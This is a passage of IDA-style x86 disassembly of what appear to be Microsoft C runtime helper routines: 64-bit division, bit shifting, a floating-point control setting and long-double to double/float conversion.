var_2C = word ptr -2Ch
var_2A = byte ptr -2Ah
var_28 = byte ptr -28h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 30h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_C]
push ebx
mov ebx, [ebp+arg_8]
push esi
mov [ebp+var_30], eax
push edi
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_419AE7
pop ecx
pop ecx
lea eax, [ebp+var_2C]
push eax
push 0
push 11h
sub esp, 0Ch
lea esi, [ebp+var_10]
mov edi, esp
movsd
movsd
movsw
call sub_41AF2B
mov esi, [ebp+var_30]
mov [ebx+8], eax
movsx eax, [ebp+var_2A]
mov [ebx], eax
movsx eax, [ebp+var_2C]
mov [ebx+4], eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_10]
push esi
call sub_40CD95
add esp, 24h
test eax, eax
jz short loc_419C20
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40B12D
add esp, 14h
loc_419C20: ; CODE XREF: sub_419BA4+6Bj
mov ecx, [ebp+var_4]
pop edi
mov [ebx+0Ch], esi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_419BA4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419C40 proc near ; CODE XREF: sub_41917C+2F9p
; sub_41917C+31Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebp
xor edi, edi
xor ebp, ebp
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_419C64
inc edi
inc ebp
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_419C64: ; CODE XREF: sub_419C40+Dj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_419C80
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_419C80: ; CODE XREF: sub_419C40+2Aj
or eax, eax
jnz short loc_419CAC
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov esi, eax
mov eax, ebx
mul [esp+0Ch+arg_8]
mov ecx, eax
mov eax, esi
mul [esp+0Ch+arg_8]
add edx, ecx
jmp short loc_419CF3
; ---------------------------------------------------------------------------
loc_419CAC: ; CODE XREF: sub_419C40+42j
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_419CBA: ; CODE XREF: sub_419C40+84j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_419CBA
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_419CE8
cmp edx, [esp+0Ch+arg_4]
ja short loc_419CE8
jb short loc_419CF1
cmp eax, [esp+0Ch+arg_0]
jbe short loc_419CF1
loc_419CE8: ; CODE XREF: sub_419C40+98j
; sub_419C40+9Ej
dec esi
sub eax, [esp+0Ch+arg_8]
sbb edx, [esp+0Ch+arg_C]
loc_419CF1: ; CODE XREF: sub_419C40+A0j
; sub_419C40+A6j
xor ebx, ebx
loc_419CF3: ; CODE XREF: sub_419C40+6Aj
sub eax, [esp+0Ch+arg_0]
sbb edx, [esp+0Ch+arg_4]
dec ebp
jns short loc_419D05
neg edx
neg eax
sbb edx, 0
loc_419D05: ; CODE XREF: sub_419C40+BCj
mov ecx, edx
mov edx, ebx
mov ebx, ecx
mov ecx, eax
mov eax, esi
dec edi
jnz short loc_419D19
neg edx
neg eax
sbb edx, 0
loc_419D19: ; CODE XREF: sub_419C40+D0j
pop ebp
pop esi
pop edi
retn 10h
sub_419C40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419D20 proc near ; CODE XREF: sub_41917C+1ECp
; sub_41917C+240p ...
cmp cl, 40h
jnb short loc_419D3A
cmp cl, 20h
jnb short loc_419D30
shrd eax, edx, cl
shr edx, cl
retn
; ---------------------------------------------------------------------------
loc_419D30: ; CODE XREF: sub_419D20+8j
mov eax, edx
xor edx, edx
and cl, 1Fh
shr eax, cl
retn
; ---------------------------------------------------------------------------
loc_419D3A: ; CODE XREF: sub_419D20+3j
xor eax, eax
xor edx, edx
retn
sub_419D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D3F proc near ; CODE XREF: sub_419846+10p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
and eax, 0FFF7FFFFh
and ecx, eax
push esi
test ecx, 0FCF0FCE0h
jz short loc_419D8B
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_419D6F
push esi
push esi
call sub_41B97D
pop ecx
pop ecx
mov [edi], eax
loc_419D6F: ; CODE XREF: sub_419D3F+23j
call sub_40C862
push 16h
pop edi
push esi
push esi
push esi
push esi
push esi
mov [eax], edi
call sub_40B255
add esp, 14h
mov eax, edi
pop edi
jmp short loc_419DA8
; ---------------------------------------------------------------------------
loc_419D8B: ; CODE XREF: sub_419D3F+19j
mov esi, [ebp+arg_0]
push eax
push [ebp+arg_4]
test esi, esi
jz short loc_419D9F
call sub_41B97D
mov [esi], eax
jmp short loc_419DA4
; ---------------------------------------------------------------------------
loc_419D9F: ; CODE XREF: sub_419D3F+55j
call sub_41B97D
loc_419DA4: ; CODE XREF: sub_419D3F+5Ej
pop ecx
pop ecx
xor eax, eax
loc_419DA8: ; CODE XREF: sub_419D3F+4Aj
pop esi
pop ebp
retn
sub_419D3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DAB proc near ; CODE XREF: sub_4198D8+46p
var_2C = byte ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
movzx ecx, word ptr [eax+0Ah]
push ebx
mov ebx, ecx
and ecx, 8000h
mov [ebp+var_14], ecx
mov ecx, [eax+6]
mov [ebp+var_20], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
and ebx, 7FFFh
sub ebx, 3FFFh
shl eax, 10h
push edi
mov [ebp+var_1C], ecx
mov [ebp+var_18], eax
cmp ebx, 0FFFFC001h
jnz short loc_419E17
xor ebx, ebx
xor eax, eax
loc_419DF4: ; CODE XREF: sub_419DAB+53j
cmp [ebp+eax*4+var_20], ebx
jnz short loc_419E07
inc eax
cmp eax, 3
jl short loc_419DF4
xor eax, eax
jmp loc_41A2AC
; ---------------------------------------------------------------------------
loc_419E07: ; CODE XREF: sub_419DAB+4Dj
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
push 2
stosd
pop eax
jmp loc_41A2AC
; ---------------------------------------------------------------------------
loc_419E17: ; CODE XREF: sub_419DAB+43j
and [ebp+arg_0], 0
push esi
lea esi, [ebp+var_20]
lea edi, [ebp+var_2C]
movsd
movsd
movsd
mov esi, dword_42E038
dec esi
lea ecx, [esi+1]
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov edx, ecx
and edx, 8000001Fh
mov [ebp+var_10], ebx
mov [ebp+var_C], eax
jns short loc_419E4F
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_419E4F: ; CODE XREF: sub_419DAB+9Dj
lea edi, [ebp+eax*4+var_20]
push 1Fh
xor eax, eax
pop ecx
sub ecx, edx
inc eax
shl eax, cl
mov [ebp+var_8], ecx
test [edi], eax
jz loc_419EF5
mov eax, [ebp+var_C]
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [ebp+eax*4+var_20], edx
jmp short loc_419E7D
; ---------------------------------------------------------------------------
loc_419E78: ; CODE XREF: sub_419DAB+D8j
cmp [ebp+eax*4+var_20], 0
loc_419E7D: ; CODE XREF: sub_419DAB+CBj
jnz short loc_419E87
inc eax
cmp eax, 3
jl short loc_419E78
jmp short loc_419EF5
; ---------------------------------------------------------------------------
loc_419E87: ; CODE XREF: sub_419DAB:loc_419E7Dj
mov eax, esi
cdq
push 1Fh
pop ecx
and edx, ecx
add eax, edx
sar eax, 5
and esi, 8000001Fh
jns short loc_419EA1
dec esi
or esi, 0FFFFFFE0h
inc esi
loc_419EA1: ; CODE XREF: sub_419DAB+EFj
and [ebp+var_4], 0
sub ecx, esi
xor edx, edx
inc edx
shl edx, cl
lea ecx, [ebp+eax*4+var_20]
mov esi, [ecx]
add esi, edx
mov [ebp+arg_0], esi
mov esi, [ecx]
cmp [ebp+arg_0], esi
jb short loc_419EE0
cmp [ebp+arg_0], edx
jmp short loc_419EDE
; ---------------------------------------------------------------------------
loc_419EC3: ; CODE XREF: sub_419DAB+145j
test ecx, ecx
jz short loc_419EF2
and [ebp+var_4], 0
lea ecx, [ebp+eax*4+var_20]
mov edx, [ecx]
lea esi, [edx+1]
mov [ebp+arg_0], esi
cmp esi, edx
jb short loc_419EE0
cmp esi, 1
loc_419EDE: ; CODE XREF: sub_419DAB+116j
jnb short loc_419EE7
loc_419EE0: ; CODE XREF: sub_419DAB+111j
; sub_419DAB+12Ej
mov [ebp+var_4], 1
loc_419EE7: ; CODE XREF: sub_419DAB:loc_419EDEj
dec eax
mov edx, [ebp+arg_0]
mov [ecx], edx
mov ecx, [ebp+var_4]
jns short loc_419EC3
loc_419EF2: ; CODE XREF: sub_419DAB+11Aj
mov [ebp+arg_0], ecx
loc_419EF5: ; CODE XREF: sub_419DAB+B7j
; sub_419DAB+DAj
mov ecx, [ebp+var_8]
or eax, 0FFFFFFFFh
shl eax, cl
and [edi], eax
mov eax, [ebp+var_C]
inc eax
cmp eax, 3
jge short loc_419F15
push 3
pop ecx
lea edi, [ebp+eax*4+var_20]
sub ecx, eax
xor eax, eax
rep stosd
loc_419F15: ; CODE XREF: sub_419DAB+15Bj
cmp [ebp+arg_0], 0
jz short loc_419F1C
inc ebx
loc_419F1C: ; CODE XREF: sub_419DAB+16Ej
mov eax, dword_42E034
mov ecx, eax
sub ecx, dword_42E038
cmp ebx, ecx
jge short loc_419F3A
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
stosd
jmp loc_41A147
; ---------------------------------------------------------------------------
loc_419F3A: ; CODE XREF: sub_419DAB+180j
cmp ebx, eax
jg loc_41A151
sub eax, [ebp+var_10]
lea esi, [ebp+var_2C]
mov ecx, eax
lea edi, [ebp+var_20]
movsd
cdq
and edx, 1Fh
add eax, edx
movsd
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
movsd
jns short loc_419F68
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_419F68: ; CODE XREF: sub_419DAB+1B6j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_419F83: ; CODE XREF: sub_419DAB+203j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_419F83
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_419FBD: ; CODE XREF: sub_419DAB+229j
cmp edx, eax
jl short loc_419FC9
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_419FCE
; ---------------------------------------------------------------------------
loc_419FC9: ; CODE XREF: sub_419DAB+214j
and [ebp+edx*4+var_20], 0
loc_419FCE: ; CODE XREF: sub_419DAB+21Cj
dec edx
sub ecx, 4
test edx, edx
jge short loc_419FBD
mov esi, dword_42E038
dec esi
lea ecx, [esi+1]
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov edx, ecx
and edx, 8000001Fh
mov [ebp+var_C], eax
jns short loc_419FFD
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_419FFD: ; CODE XREF: sub_419DAB+24Bj
push 1Fh
pop ecx
sub ecx, edx
xor edx, edx
inc edx
shl edx, cl
lea ebx, [ebp+eax*4+var_20]
mov [ebp+var_10], ecx
test [ebx], edx
jz loc_41A098
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [ebp+eax*4+var_20], edx
jmp short loc_41A028
; ---------------------------------------------------------------------------
loc_41A023: ; CODE XREF: sub_419DAB+283j
cmp [ebp+eax*4+var_20], 0
loc_41A028: ; CODE XREF: sub_419DAB+276j
jnz short loc_41A032
inc eax
cmp eax, 3
jl short loc_41A023
jmp short loc_41A098
; ---------------------------------------------------------------------------
loc_41A032: ; CODE XREF: sub_419DAB:loc_41A028j
mov eax, esi
cdq
push 1Fh
pop ecx
and edx, ecx
add eax, edx
sar eax, 5
and esi, 8000001Fh
jns short loc_41A04C
dec esi
or esi, 0FFFFFFE0h
inc esi
loc_41A04C: ; CODE XREF: sub_419DAB+29Aj
and [ebp+arg_0], 0
xor edx, edx
sub ecx, esi
inc edx
shl edx, cl
lea ecx, [ebp+eax*4+var_20]
mov esi, [ecx]
lea edi, [esi+edx]
cmp edi, esi
jb short loc_41A068
cmp edi, edx
jnb short loc_41A06F
loc_41A068: ; CODE XREF: sub_419DAB+2B7j
mov [ebp+arg_0], 1
loc_41A06F: ; CODE XREF: sub_419DAB+2BBj
mov [ecx], edi
mov ecx, [ebp+arg_0]
jmp short loc_41A095
; ---------------------------------------------------------------------------
loc_41A076: ; CODE XREF: sub_419DAB+2EBj
test ecx, ecx
jz short loc_41A098
lea ecx, [ebp+eax*4+var_20]
mov edx, [ecx]
lea esi, [edx+1]
xor edi, edi
cmp esi, edx
jb short loc_41A08E
cmp esi, 1
jnb short loc_41A091
loc_41A08E: ; CODE XREF: sub_419DAB+2DCj
xor edi, edi
inc edi
loc_41A091: ; CODE XREF: sub_419DAB+2E1j
mov [ecx], esi
mov ecx, edi
loc_41A095: ; CODE XREF: sub_419DAB+2C9j
dec eax
jns short loc_41A076
loc_41A098: ; CODE XREF: sub_419DAB+265j
; sub_419DAB+285j ...
mov ecx, [ebp+var_10]
or eax, 0FFFFFFFFh
shl eax, cl
and [ebx], eax
mov eax, [ebp+var_C]
inc eax
cmp eax, 3
jge short loc_41A0B8
push 3
pop ecx
lea edi, [ebp+eax*4+var_20]
sub ecx, eax
xor eax, eax
rep stosd
loc_41A0B8: ; CODE XREF: sub_419DAB+2FEj
mov ecx, dword_42E03C
inc ecx
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_41A0D9
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A0D9: ; CODE XREF: sub_419DAB+327j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_41A0F4: ; CODE XREF: sub_419DAB+374j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_41A0F4
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41A12E: ; CODE XREF: sub_419DAB+39Aj
cmp edx, eax
jl short loc_41A13A
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41A13F
; ---------------------------------------------------------------------------
loc_41A13A: ; CODE XREF: sub_419DAB+385j
and [ebp+edx*4+var_20], 0
loc_41A13F: ; CODE XREF: sub_419DAB+38Dj
dec edx
sub ecx, 4
test edx, edx
jge short loc_41A12E
loc_41A147: ; CODE XREF: sub_419DAB+18Aj
push 2
xor ebx, ebx
pop eax
jmp loc_41A2AB
; ---------------------------------------------------------------------------
loc_41A151: ; CODE XREF: sub_419DAB+191j
cmp ebx, dword_42E030
mov ecx, dword_42E03C
jl loc_41A210
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
stosd
or [ebp+var_20], 80000000h
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_41A18C
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A18C: ; CODE XREF: sub_419DAB+3DAj
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_41A1A7: ; CODE XREF: sub_419DAB+427j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_41A1A7
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41A1E1: ; CODE XREF: sub_419DAB+44Dj
cmp edx, eax
jl short loc_41A1ED
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41A1F2
; ---------------------------------------------------------------------------
loc_41A1ED: ; CODE XREF: sub_419DAB+438j
and [ebp+edx*4+var_20], 0
loc_41A1F2: ; CODE XREF: sub_419DAB+440j
dec edx
sub ecx, 4
test edx, edx
jge short loc_41A1E1
mov eax, dword_42E030
mov ecx, dword_42E044
lea ebx, [ecx+eax]
xor eax, eax
inc eax
jmp loc_41A2AB
; ---------------------------------------------------------------------------
loc_41A210: ; CODE XREF: sub_419DAB+3B2j
mov eax, dword_42E044
and [ebp+var_20], 7FFFFFFFh
add ebx, eax
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
jns short loc_41A238
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A238: ; CODE XREF: sub_419DAB+486j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or esi, 0FFFFFFFFh
mov ecx, edx
shl esi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not esi
loc_41A253: ; CODE XREF: sub_419DAB+4D6j
mov ecx, [ebp+arg_0]
mov edi, [ebp+ecx*4+var_20]
mov ecx, edi
and ecx, esi
mov [ebp+var_10], ecx
mov ecx, edx
shr edi, cl
mov ecx, [ebp+arg_0]
or edi, [ebp+var_C]
mov [ebp+ecx*4+var_20], edi
mov edi, [ebp+var_10]
mov ecx, [ebp+var_4]
shl edi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], edi
jl short loc_41A253
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41A290: ; CODE XREF: sub_419DAB+4FCj
cmp edx, eax
jl short loc_41A29C
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41A2A1
; ---------------------------------------------------------------------------
loc_41A29C: ; CODE XREF: sub_419DAB+4E7j
and [ebp+edx*4+var_20], 0
loc_41A2A1: ; CODE XREF: sub_419DAB+4EFj
dec edx
sub ecx, 4
test edx, edx
jge short loc_41A290
xor eax, eax
loc_41A2AB: ; CODE XREF: sub_419DAB+3A1j
; sub_419DAB+460j
pop esi
loc_41A2AC: ; CODE XREF: sub_419DAB+57j
; sub_419DAB+67j
push 1Fh
pop ecx
sub ecx, dword_42E03C
shl ebx, cl
mov ecx, [ebp+var_14]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or ebx, ecx
mov ecx, dword_42E040
or ebx, [ebp+var_20]
cmp ecx, 40h
jnz short loc_41A2E1
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], ebx
mov [ecx], edx
jmp short loc_41A2EB
; ---------------------------------------------------------------------------
loc_41A2E1: ; CODE XREF: sub_419DAB+527j
cmp ecx, 20h
jnz short loc_41A2EB
mov ecx, [ebp+arg_4]
mov [ecx], ebx
loc_41A2EB: ; CODE XREF: sub_419DAB+534j
; sub_419DAB+539j
pop edi
pop ebx
leave
retn
sub_419DAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2EF proc near ; CODE XREF: sub_419980+46p
var_2C = byte ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
movzx ecx, word ptr [eax+0Ah]
push ebx
mov ebx, ecx
and ecx, 8000h
mov [ebp+var_14], ecx
mov ecx, [eax+6]
mov [ebp+var_20], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
and ebx, 7FFFh
sub ebx, 3FFFh
shl eax, 10h
push edi
mov [ebp+var_1C], ecx
mov [ebp+var_18], eax
cmp ebx, 0FFFFC001h
jnz short loc_41A35B
xor ebx, ebx
xor eax, eax
loc_41A338: ; CODE XREF: sub_41A2EF+53j
cmp [ebp+eax*4+var_20], ebx
jnz short loc_41A34B
inc eax
cmp eax, 3
jl short loc_41A338
xor eax, eax
jmp loc_41A7F0
; ---------------------------------------------------------------------------
loc_41A34B: ; CODE XREF: sub_41A2EF+4Dj
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
push 2
stosd
pop eax
jmp loc_41A7F0
; ---------------------------------------------------------------------------
loc_41A35B: ; CODE XREF: sub_41A2EF+43j
and [ebp+arg_0], 0
push esi
lea esi, [ebp+var_20]
lea edi, [ebp+var_2C]
movsd
movsd
movsd
mov esi, dword_42E050
dec esi
lea ecx, [esi+1]
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov edx, ecx
and edx, 8000001Fh
mov [ebp+var_10], ebx
mov [ebp+var_C], eax
jns short loc_41A393
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A393: ; CODE XREF: sub_41A2EF+9Dj
lea edi, [ebp+eax*4+var_20]
push 1Fh
xor eax, eax
pop ecx
sub ecx, edx
inc eax
shl eax, cl
mov [ebp+var_8], ecx
test [edi], eax
jz loc_41A439
mov eax, [ebp+var_C]
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [ebp+eax*4+var_20], edx
jmp short loc_41A3C1
; ---------------------------------------------------------------------------
loc_41A3BC: ; CODE XREF: sub_41A2EF+D8j
cmp [ebp+eax*4+var_20], 0
loc_41A3C1: ; CODE XREF: sub_41A2EF+CBj
jnz short loc_41A3CB
inc eax
cmp eax, 3
jl short loc_41A3BC
jmp short loc_41A439
; ---------------------------------------------------------------------------
loc_41A3CB: ; CODE XREF: sub_41A2EF:loc_41A3C1j
mov eax, esi
cdq
push 1Fh
pop ecx
and edx, ecx
add eax, edx
sar eax, 5
and esi, 8000001Fh
jns short loc_41A3E5
dec esi
or esi, 0FFFFFFE0h
inc esi
loc_41A3E5: ; CODE XREF: sub_41A2EF+EFj
and [ebp+var_4], 0
sub ecx, esi
xor edx, edx
inc edx
shl edx, cl
lea ecx, [ebp+eax*4+var_20]
mov esi, [ecx]
add esi, edx
mov [ebp+arg_0], esi
mov esi, [ecx]
cmp [ebp+arg_0], esi
jb short loc_41A424
cmp [ebp+arg_0], edx
jmp short loc_41A422
; ---------------------------------------------------------------------------
loc_41A407: ; CODE XREF: sub_41A2EF+145j
test ecx, ecx
jz short loc_41A436
and [ebp+var_4], 0
lea ecx, [ebp+eax*4+var_20]
mov edx, [ecx]
lea esi, [edx+1]
mov [ebp+arg_0], esi
cmp esi, edx
jb short loc_41A424
cmp esi, 1
loc_41A422: ; CODE XREF: sub_41A2EF+116j
jnb short loc_41A42B
loc_41A424: ; CODE XREF: sub_41A2EF+111j
; sub_41A2EF+12Ej
mov [ebp+var_4], 1
loc_41A42B: ; CODE XREF: sub_41A2EF:loc_41A422j
dec eax
mov edx, [ebp+arg_0]
mov [ecx], edx
mov ecx, [ebp+var_4]
jns short loc_41A407
loc_41A436: ; CODE XREF: sub_41A2EF+11Aj
mov [ebp+arg_0], ecx
loc_41A439: ; CODE XREF: sub_41A2EF+B7j
; sub_41A2EF+DAj
mov ecx, [ebp+var_8]
or eax, 0FFFFFFFFh
shl eax, cl
and [edi], eax
mov eax, [ebp+var_C]
inc eax
cmp eax, 3
jge short loc_41A459
push 3
pop ecx
lea edi, [ebp+eax*4+var_20]
sub ecx, eax
xor eax, eax
rep stosd
loc_41A459: ; CODE XREF: sub_41A2EF+15Bj
cmp [ebp+arg_0], 0
jz short loc_41A460
inc ebx
loc_41A460: ; CODE XREF: sub_41A2EF+16Ej
mov eax, dword_42E04C
mov ecx, eax
sub ecx, dword_42E050
cmp ebx, ecx
jge short loc_41A47E
xor eax, eax
lea edi, [ebp+var_20]
stosd
stosd
stosd
jmp loc_41A68B
; ---------------------------------------------------------------------------
loc_41A47E: ; CODE XREF: sub_41A2EF+180j
cmp ebx, eax
jg loc_41A695
sub eax, [ebp+var_10]
lea esi, [ebp+var_2C]
mov ecx, eax
lea edi, [ebp+var_20]
movsd
cdq
and edx, 1Fh
add eax, edx
movsd
mov edx, ecx
sar eax, 5
and edx, 8000001Fh
movsd
jns short loc_41A4AC
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A4AC: ; CODE XREF: sub_41A2EF+1B6j
and [ebp+var_C], 0
and [ebp+arg_0], 0
or edi, 0FFFFFFFFh
mov ecx, edx
shl edi, cl
mov [ebp+var_4], 20h
sub [ebp+var_4], edx
not edi
loc_41A4C7: ; CODE XREF: sub_41A2EF+203j
mov ebx, [ebp+arg_0]
lea ebx, [ebp+ebx*4+var_20]
mov esi, [ebx]
mov ecx, esi
and ecx, edi
mov [ebp+var_10], ecx
mov ecx, edx
shr esi, cl
mov ecx, [ebp+var_4]
or esi, [ebp+var_C]
mov [ebx], esi
mov esi, [ebp+var_10]
shl esi, cl
inc [ebp+arg_0]
cmp [ebp+arg_0], 3
mov [ebp+var_C], esi
jl short loc_41A4C7
mov esi, eax
push 2
shl esi, 2
lea ecx, [ebp+var_18]
pop edx
sub ecx, esi
loc_41A501: ; CODE XREF: sub_41A2EF+229j
cmp edx, eax
jl short loc_41A50D
mov esi, [ecx]
mov [ebp+edx*4+var_20], esi
jmp short loc_41A512
; ---------------------------------------------------------------------------
loc_41A50D: ; CODE XREF: sub_41A2EF+214j
and [ebp+edx*4+var_20], 0
loc_41A512: ; CODE XREF: sub_41A2EF+21Cj
dec edx
sub ecx, 4
test edx, edx
jge short loc_41A501
mov esi, dword_42E050
dec esi
lea ecx, [esi+1]
mov eax, ecx
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov edx, ecx
and edx, 8000001Fh
mov [ebp+var_C], eax
jns short loc_41A541
dec edx
or edx, 0FFFFFFE0h
inc edx
loc_41A541: ; CODE XREF: sub_41A2EF+24Bj
push 1Fh
pop ecx
sub ecx, edx
xor edx, edx
inc edx
shl edx, cl
lea ebx, [ebp+eax*4+var_20]
mov [ebp+var_10], ecx
test [ebx], edx
jz loc_41A5DC
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [ebp+eax*4+var_20], edx
jmp short loc_41A56C
; ---------------------------------------------------------------------------
loc_41A567: ; CODE XREF: sub_41A2EF+283j
cmp [ebp+eax*4+var_20], 0
loc_41A56C: ; CODE XREF: sub_41A2EF+276j
jnz short loc_41A576
inc eax
cmp eax, 3
jl short loc_41A567
jmp short loc_41A5DC
; ---------------------------------------------------------------------------
loc_41A576: ; CODE XREF: sub_41A2EF:loc_41A56Cj
mov eax, esi
cdq
push 1Fh
pop ecx
and edx, ecx
add eax, edx
sar eax, 5
and esi, 8000001Fh
jns short loc_41A590
dec esi
or esi, 0FFFFFFE0h
inc esi
loc_41A590: ; CODE XREF: sub_41A2EF+29Aj
and [ebp+arg_0], 0
xor edx, edx
sub ecx, esi
inc edx
shl edx, cl
lea ecx, [ebp+eax*4+var_20]
mov esi, [ecx]
lea edi, [esi+edx]
cmp edi, esi
jb short loc_41A5AC
cmp edi, edx
jnb short loc_41A5B3
loc_41A5AC: ; CODE XREF: sub_41A2EF+2B7j
mov [ebp+arg_0], 1
loc_41A5B3: ; CODE XREF: sub_41A2EF+2BBj
mov [ecx], edi
